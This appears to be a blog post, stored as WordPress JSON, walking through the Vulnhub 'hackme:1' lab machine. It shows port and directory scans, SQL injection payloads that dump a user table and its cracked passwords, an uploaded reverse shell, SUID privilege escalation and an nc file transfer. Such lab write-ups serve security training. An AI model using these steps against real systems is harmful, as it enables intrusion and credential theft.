{"id":417,"date":"2024-03-18T18:24:41","date_gmt":"2024-03-18T10:24:41","guid":{"rendered":"http:\/\/162.14.82.114\/?p=417"},"modified":"2024-03-18T18:24:41","modified_gmt":"2024-03-18T10:24:41","slug":"vulnhub-hackme1","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/417\/03\/18\/2024\/","title":{"rendered":"Vulnhub–hackme:1"},"content":{"rendered":"

HACKME: 1<\/h1>\n

\"image-20240318132902325\"<\/div><\/p>\n

\u5c1d\u8bd5\u626b\u4e00\u4e0b\uff1a<\/p>\n

\"image-20240318161109567\"<\/div><\/p>\n

\u8fd9\u4e2a\u5e94\u8be5\u662f\u7684\uff01\ud83d\udc13\u5f00\u59cb\uff01<\/p>\n

\u4fe1\u606f\u641c\u96c6<\/h2>\n

\u7aef\u53e3\u626b\u63cf<\/h3>\n
rustscan -a 192.168.37.132 -- -A -sV <\/code><\/pre>\n
Open 192.168.37.132:22\nOpen 192.168.37.132:80<\/code><\/pre>\n
PORT   STATE SERVICE REASON  VERSION\n22\/tcp open  ssh     syn-ack OpenSSH 7.7p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   2048 6b:a8:24:d6:09:2f:c9:9a:8e:ab:bc:6e:7d:4e:b9:ad (RSA)\n| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD0KQXcUd\/+zfBtJFhP+25xVD0f+ujGrlKTw\/Ho8wy41nYgrtyHiiscKmJUv7XKAfjC8YImead1E+okzuRvpT1HX3l1xMwfWboty0V3IezTFxYIpUPmqejoC9uSsKxpd5h+vDRwchjCQGZpumuei5QT+OyY7XpdUB3P\/lica+QEO2Af4ZFmeOOizRYvabosnbg2rGObbkTbMZVcGdL67ECncSRP5mcjH2cnXqAAiDEs+F9YtR0oRVX8+SqaVXLqrNzIeZxqH8BW1f0O4SPq5tsHiYbCco4yb9iMgnX1EPd981wt40+6D0N3BB1QYciv6RAS4fKCP+Akk2c4tThBGm7t\n|   256 ab:e8:4f:53:38:06:2c:6a:f3:92:e3:97:4a:0e:3e:d1 (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKTgFkEMmekHRtPsKN9f6w7\/m1ih\/8MraIwM4yIy5\/hRW8ct1Ghc6YnhhI0KJGYF6KYiCgyKK97mVEpBVf98O5w=\n|   256 32:76:90:b8:7d:fc:a4:32:63:10:cd:67:61:49:d6:c4 (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPPEwLR2lULYITB1F789nQ\/INIXH6NhMCHK25Z3pJquX\n80\/tcp open  http    syn-ack Apache httpd 2.4.34 ((Ubuntu))\n| http-methods: \n|_  Supported Methods: GET HEAD POST OPTIONS\n|_http-title: Site doesn't have a title (text\/html; charset=UTF-8).\n|_http-server-header: Apache\/2.4.34 (Ubuntu)\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n
\u76ee\u5f55\u626b\u63cf<\/h3>\n
\u53d1\u73b0\u6253\u5f00\u4e8680<\/code>\u7aef\u53e3\uff0c\u5c1d\u8bd5\u8fdb\u884c\u626b\u63cf\uff1a<\/p>\n
gobuster dir -u http:\/\/192.168.37.132 -x html,txt,php,bak,zip --wordlist=\/usr\/share\/wordlists\/dirb\/common.txt -f -t 50<\/code><\/pre>\n
\/.hta\/                (Status: 403) [Size: 294]\n\/.hta.zip\/            (Status: 403) [Size: 298]\n\/.hta.html\/           (Status: 403) [Size: 299]\n\/.hta.txt\/            (Status: 403) [Size: 298]\n\/.hta.php\/            (Status: 403) [Size: 298]\n\/.hta.bak\/            (Status: 403) [Size: 298]\n\/.htaccess.html\/      (Status: 403) [Size: 304]\n\/.htaccess.php\/       (Status: 403) [Size: 303]\n\/.htaccess.txt\/       (Status: 403) [Size: 303]\n\/.htaccess.bak\/       (Status: 403) [Size: 303]\n\/.htaccess\/           (Status: 403) [Size: 299]\n\/.htaccess.zip\/       (Status: 403) [Size: 303]\n\/.htpasswd\/           (Status: 403) [Size: 299]\n\/.htpasswd.bak\/       (Status: 403) [Size: 303]\n\/.htpasswd.zip\/       (Status: 403) [Size: 303]\n\/.htpasswd.php\/       (Status: 403) [Size: 303]\n\/.htpasswd.html\/      (Status: 403) [Size: 304]\n\/.htpasswd.txt\/       (Status: 403) [Size: 303]\n\/.php\/                (Status: 403) [Size: 294]\n\/.html\/               (Status: 403) [Size: 295]\n\/config.php\/          (Status: 200) [Size: 0]\n\/icons\/               (Status: 403) [Size: 295]\n\/index.php\/           (Status: 200) [Size: 100]\n\/index.php\/           (Status: 200) [Size: 100]\n\/login.php\/           (Status: 200) [Size: 1246]\n\/logout.php\/          (Status: 302) [Size: 0] [--> login.php]\n\/register.php\/        (Status: 200) [Size: 1938]\n\/server-status\/       (Status: 403) [Size: 303]\n\/uploads\/             (Status: 200) [Size: 941]\n\/welcome.php\/         (Status: 302) [Size: 0] [--> login.php]\n<\/code><\/pre>\n
\u6f0f\u6d1e\u5229\u7528<\/h2>\n
\u5148\u5b9e\u5730\u8003\u5bdf\u4e00\u4e0b<\/h3>\n
\"image-20240318163544136\"<\/div><\/p>\n
\u5c1d\u8bd5\u4e00\u4e0b\u5e38\u89c1\u7684\u4e07\u80fd\u5bc6\u7801\u548c\u5f31\u5bc6\u7801\uff0c\u4f3c\u4e4e\u4e0d\u884c\uff0c\u4f46\u662f\u6709\u56de\u663e\uff1a<\/p>\n
\"image-20240318163756807\"<\/div><\/p>\n
\u6ce8\u518c\u4e00\u4e2a\u8d26\u53f7\u5427\uff1a<\/p>\n
\"image-20240318163957896\"<\/div>
\n
\"image-20240318164129837\"<\/div><\/p>\n
sql\u6ce8\u5165<\/h3>\n
\u8fdb\u6765\u4e86\uff0c\u5c1d\u8bd5\u770b\u4e00\u4e0b\u6709\u6ca1\u6709\u6f0f\u6d1e\uff0c\u4e0d\u8fc7\u4e0d\u7ba1\u8f93\u5165\u5565\uff0c\u90fd\u4f1a\u5f39\u56de\u6765\uff0c\u5c1d\u8bd5\u6293\u5305\u770b\u4e00\u4e0b\uff1a<\/p>\n
\"image-20240318164920984\"<\/div><\/p>\n
\u5c1d\u8bd5\u6ce8\u5165\u4e00\u4e0b\uff1a<\/p>\n
search=ctf' or 1=1 -- -<\/code><\/pre>\n
\"image-20240318165209049\"<\/div><\/p>\n
\u6211\u64e6\uff0c\u7816\u4e1a\u554a\uff01\uff01\uff01\u518d\u67e5\u8be2\u4e00\u4e0b\uff1a<\/p>\n
search=ctf' union select database(),2,3-- -<\/code><\/pre>\n
\"image-20240318170939395\"<\/div><\/p>\n
\u83b7\u5f97\u4e86\u6570\u636e\u5e93\u540d\u79f0\uff0c\u7ee7\u7eed\uff1a<\/p>\n
search=ctf' union select @@version,2,3 -- -<\/code><\/pre>\n
\"image-20240318171148161\"<\/div><\/p>\n
\u83b7\u53d6\u5230\u4e86\u7248\u672c\uff0c\u7ee7\u7eed\uff1a<\/p>\n
search=ctf' union select schema_name,2,3 from information_schema.schemate -- -<\/code><\/pre>\n
\"image-20240318171609446\"<\/div><\/p>\n
\u53d1\u73b0\u6253\u9519\u4e86\uff0c\u54c8\u54c8\u54c8<\/p>\n
search=ctf' union select schema_name,2,3 from information_schema.schemata -- -<\/code><\/pre>\n
\"image-20240318173702625\"<\/div><\/p>\n
\u7ee7\u7eed\u67e5\u8be2\uff1a<\/p>\n
# \u67e5\u8be2\u5f53\u524d\u6570\u636e\u5e93\u8868\u540d\nsearch=ctf' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#\n# \u67e5\u8be2users\u8868\u6240\u6709\u5217\u540d\nsearch=ctf' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()#\n# \u67e5\u8be2users\u8868\u7684\u6240\u6709\u5217\u503c\nsearch=ctf' union select 1,group_concat(user),group_concat(pasword) from users#<\/code><\/pre>\n
\"image-20240318174010267\"<\/div><\/p>\n
\"image-20240318174055349\"<\/div><\/p>\n
\"image-20240318174133779\"<\/div><\/p>\n
user1                   5d41402abc4b2a76b9719d911017c592\nuser2                   6269c4f71a55b24bad0f0267d9be5508\nuser3                   0f359740bd1cda994f8b55330c86d845\ntest                    05a671c66aefea124cc08b76ea6d30bb\nsuperadmin              2386acb2cf356944177746fc92523983\ntest1                   05a671c66aefea124cc08b76ea6d30bb\nad                      5f4dcc3b5aa765d61d8327deb882<\/code><\/pre>\n
\u89e3\u5bc6\u4e00\u4e0b\uff1ahttps:\/\/www.somd5.com\/<\/a><\/p>\n
user1                   hello\nuser2                   commando\nuser3                   p@ssw0rd\ntest                    testtest\nsuperadmin              Uncrackable\ntest1                   testtest\nad                      password<\/code><\/pre>\n
\u4f7f\u7528\u8d85\u7ea7\u7528\u6237\u8fdb\u884c\u767b\u5f55\u770b\u770b\u662f\u4e0d\u662f\u771f\u7684super<\/code>\uff1a<\/p>\n
\"image-20240318175132740\"<\/div><\/p>\n
\u4e0a\u4f20\u53cd\u5f39shell<\/h3>\n
\u6211\u64e6\uff0c\u725b\u903c\uff0c\u6709\u4e2a\u53ef\u4ee5\u4e0a\u4f20\u6587\u4ef6\u7684\u5730\u65b9\uff01\u5c1d\u8bd5\u4e0a\u4f20\u4e00\u4e2a\u53cd\u5f39shell\uff1a<\/p>\n
\"image-20240318175624438\"<\/div><\/p>\n
\u7b49\u4ed6\u8f6c\u5b8c\uff0c\u518d\u5c1d\u8bd5\u8fde\u63a5\uff1a<\/p>\n
\"image-20240318175729461\"<\/div><\/p>\n
go\uff01\uff01\uff01<\/p>\n
\"image-20240318175816312\"<\/div><\/p>\n
shell\u5f39\u8fc7\u6765\u4e86\u3002<\/p>\n
\u63d0\u6743<\/h2>\n
\u4fe1\u606f\u641c\u96c6<\/h3>\n
$ uname -a\nLinux hackme 4.18.0-16-generic #17-Ubuntu SMP Fri Feb 8 00:06:57 UTC 2019 x86_64 x86_64 x86_64 GNU\/Linux\n$ find \/ -perm -u=s -type f 2>\/dev\/null                                    \n\/snap\/core\/16928\/bin\/mount                                                 \n\/snap\/core\/16928\/bin\/ping                                                  \n\/snap\/core\/16928\/bin\/ping6                                                 \n\/snap\/core\/16928\/bin\/su                                                    \n\/snap\/core\/16928\/bin\/umount                                                \n\/snap\/core\/16928\/usr\/bin\/chfn\n\/snap\/core\/16928\/usr\/bin\/chsh\n\/snap\/core\/16928\/usr\/bin\/gpasswd\n\/snap\/core\/16928\/usr\/bin\/newgrp\n\/snap\/core\/16928\/usr\/bin\/passwd\n\/snap\/core\/16928\/usr\/bin\/sudo\n\/snap\/core\/16928\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/snap\/core\/16928\/usr\/lib\/openssh\/ssh-keysign\n\/snap\/core\/16928\/usr\/lib\/snapd\/snap-confine\n\/snap\/core\/16928\/usr\/sbin\/pppd\n\/snap\/core22\/1122\/usr\/bin\/chfn\n\/snap\/core22\/1122\/usr\/bin\/chsh\n\/snap\/core22\/1122\/usr\/bin\/gpasswd\n\/snap\/core22\/1122\/usr\/bin\/mount\n\/snap\/core22\/1122\/usr\/bin\/newgrp\n\/snap\/core22\/1122\/usr\/bin\/passwd\n\/snap\/core22\/1122\/usr\/bin\/su\n\/snap\/core22\/1122\/usr\/bin\/sudo\n\/snap\/core22\/1122\/usr\/bin\/umount\n\/snap\/core22\/1122\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/snap\/core22\/1122\/usr\/lib\/openssh\/ssh-keysign\n\/snap\/core22\/1122\/usr\/libexec\/polkit-agent-helper-1\n\/usr\/lib\/eject\/dmcrypt-get-device\n\/usr\/lib\/openssh\/ssh-keysign\n\/usr\/lib\/snapd\/snap-confine\n\/usr\/lib\/policykit-1\/polkit-agent-helper-1\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/usr\/bin\/pkexec\n\/usr\/bin\/traceroute6.iputils\n\/usr\/bin\/passwd\n\/usr\/bin\/chsh\n\/usr\/bin\/chfn\n\/usr\/bin\/gpasswd\n\/usr\/bin\/at\n\/usr\/bin\/newgrp\n\/usr\/bin\/sudo\n\/home\/legacy\/touchmenot\n\/bin\/mount\n\/bin\/umount\n\/bin\/ping\n\/bin\/ntfs-3g\n\/bin\/su\n\/bin\/fusermount\n$ cat \/etc\/cron*\ncat: \/etc\/cron.d: Is a directory\ncat: \/etc\/cron.daily: Is a directory\ncat: \/etc\/cron.hourly: Is a directory\ncat: \/etc\/cron.monthly: Is a directory\ncat: \/etc\/cron.weekly: Is a directory\n# \/etc\/crontab: system-wide crontab\n# Unlike any other crontab you don't have to run the `crontab'\n# command to install the new version when you edit this file\n# and files in \/etc\/cron.d. These files also have username fields,\n# that none of the other crontabs do.\n\nSHELL=\/bin\/sh\nPATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/sbin:\/bin:\/usr\/sbin:\/usr\/bin\n\n# m h dom mon dow user  command\n17 *    * * *   root    cd \/ && run-parts --report \/etc\/cron.hourly\n25 6    * * *   root    test -x \/usr\/sbin\/anacron || ( cd \/ && run-parts --report \/etc\/cron.daily )\n47 6    * * 7   root    test -x \/usr\/sbin\/anacron || ( cd \/ && run-parts --report \/etc\/cron.weekly )\n52 6    1 * *   root    test -x \/usr\/sbin\/anacron || ( cd \/ && run-parts --report \/etc\/cron.monthly )\n#\n$ whoami;id\nwww-data\nuid=33(www-data) gid=33(www-data) groups=33(www-data)<\/code><\/pre>\n
\u770b\u5230\u4e00\u5904\u5947\u602a\u7684suid<\/code>\uff1a<\/p>\n
\/home\/legacy\/touchmenot<\/code><\/pre>\n
\u5206\u6790\u4e00\u4e0b\uff1a<\/p>\n
$ cd \/home\n$ ls\nhackme\nlegacy\n$ cd hackme\n$ ls\n$ ls -la\ntotal 48\ndrwxr-xr-x 5 hackme hackme 4096 Mar 25  2019 .\ndrwxr-xr-x 4 root   root   4096 Mar 26  2019 ..\n-rw------- 1 hackme hackme 5794 Mar 27  2019 .bash_history\n-rw-r--r-- 1 hackme hackme  220 Sep 12  2018 .bash_logout\n-rw-r--r-- 1 hackme hackme 3771 Sep 12  2018 .bashrc\ndrwx------ 2 hackme hackme 4096 Mar 13  2019 .cache\ndrwx------ 3 hackme hackme 4096 Mar 13  2019 .gnupg\ndrwxrwxr-x 3 hackme hackme 4096 Mar 21  2019 .local\n-rw------- 1 root   root   5588 Mar 25  2019 .mysql_history\n-rw-r--r-- 1 hackme hackme  807 Sep 12  2018 .profile\n-rw-r--r-- 1 hackme hackme    0 Mar 13  2019 .sudo_as_admin_successful\n$ cd ..\/legacy\n$ ls -la\ntotal 20\ndrwxr-xr-x 2 root root 4096 Mar 26  2019 .\ndrwxr-xr-x 4 root root 4096 Mar 26  2019 ..\n-rwsr--r-x 1 root root 8472 Mar 26  2019 touchmenot\n$ file touchmenot\ntouchmenot: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter \/lib64\/ld-linux-x86-64.so.2, for GNU\/Linux 2.6.32, BuildID[sha1]=3ff194cb73ad46fb725445a4a8992494e7110a1c, not stripped\n$ strings touchmenot\n\/bin\/sh: 14: strings: not found\n$ objdump -d touchmenot\n\/bin\/sh: 16: objdump: not found\n$ .\/touchmenot\nwhoami;id\nroot\nuid=0(root) gid=33(www-data) groups=33(www-data)<\/code><\/pre>\n
\u5947\u5947\u602a\u602a\u7684\uff0c\u83ab\u540d\u5176\u5999\u5c31\u62ff\u5230\u4e86root<\/code>\u3002<\/p>\n
\u5206\u6790\u4e00\u4e0b\u7a0b\u5e8f<\/h2>\n
\u5148\u4f20\u8fc7\u6765\uff1a<\/p>\n
nc -l 8899 < touchmenot\nnc 192.168.37.132 8899 > touchroot<\/code><\/pre>\n
\"image-20240318181823096\"<\/div><\/p>\n
\u62ff\u51fa\u6765\u5206\u6790\u4e00\u4e0b\uff1a<\/p>\n
\"image-20240318182035534\"<\/div><\/p>\n
\u884c\u5427\uff0c\u5c31\u662f\u4e00\u4e2a\u811a\u672c\uff0c\u5c06\u5f53\u524d\u7528\u6237\u8bbe\u7f6e\u4e3aroot<\/code>\u7528\u6237\uff0c\u4ee5\u540e\u7684\u547d\u4ee4\u5747\u57fa\u4e8e\u6b64\uff0c\u7136\u540e\u4ee5root<\/code>\u7528\u6237\u542f\u52a8\u4e00\u4e2abash<\/code>\u7684shell\uff0c\u6240\u4ee5\u6211\u4eec\u76f4\u63a5\u5c31get\u5230\u4e86root\uff01\uff01\uff01\uff01<\/p>\n","protected":false},"excerpt":{"rendered":"
HACKME: 1 \u5c1d\u8bd5\u626b\u4e00\u4e0b\uff1a \u8fd9\u4e2a\u5e94\u8be5\u662f\u7684\uff01\ud83d\udc13\u5f00\u59cb\uff01 \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf rustscan -a 192. […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24],"tags":[],"class_list":["post-417","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/417","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=417"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/417\/revisions"}],"predecessor-version":[{"id":418,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/417\/revisions\/418"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=417"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=417"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=417"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}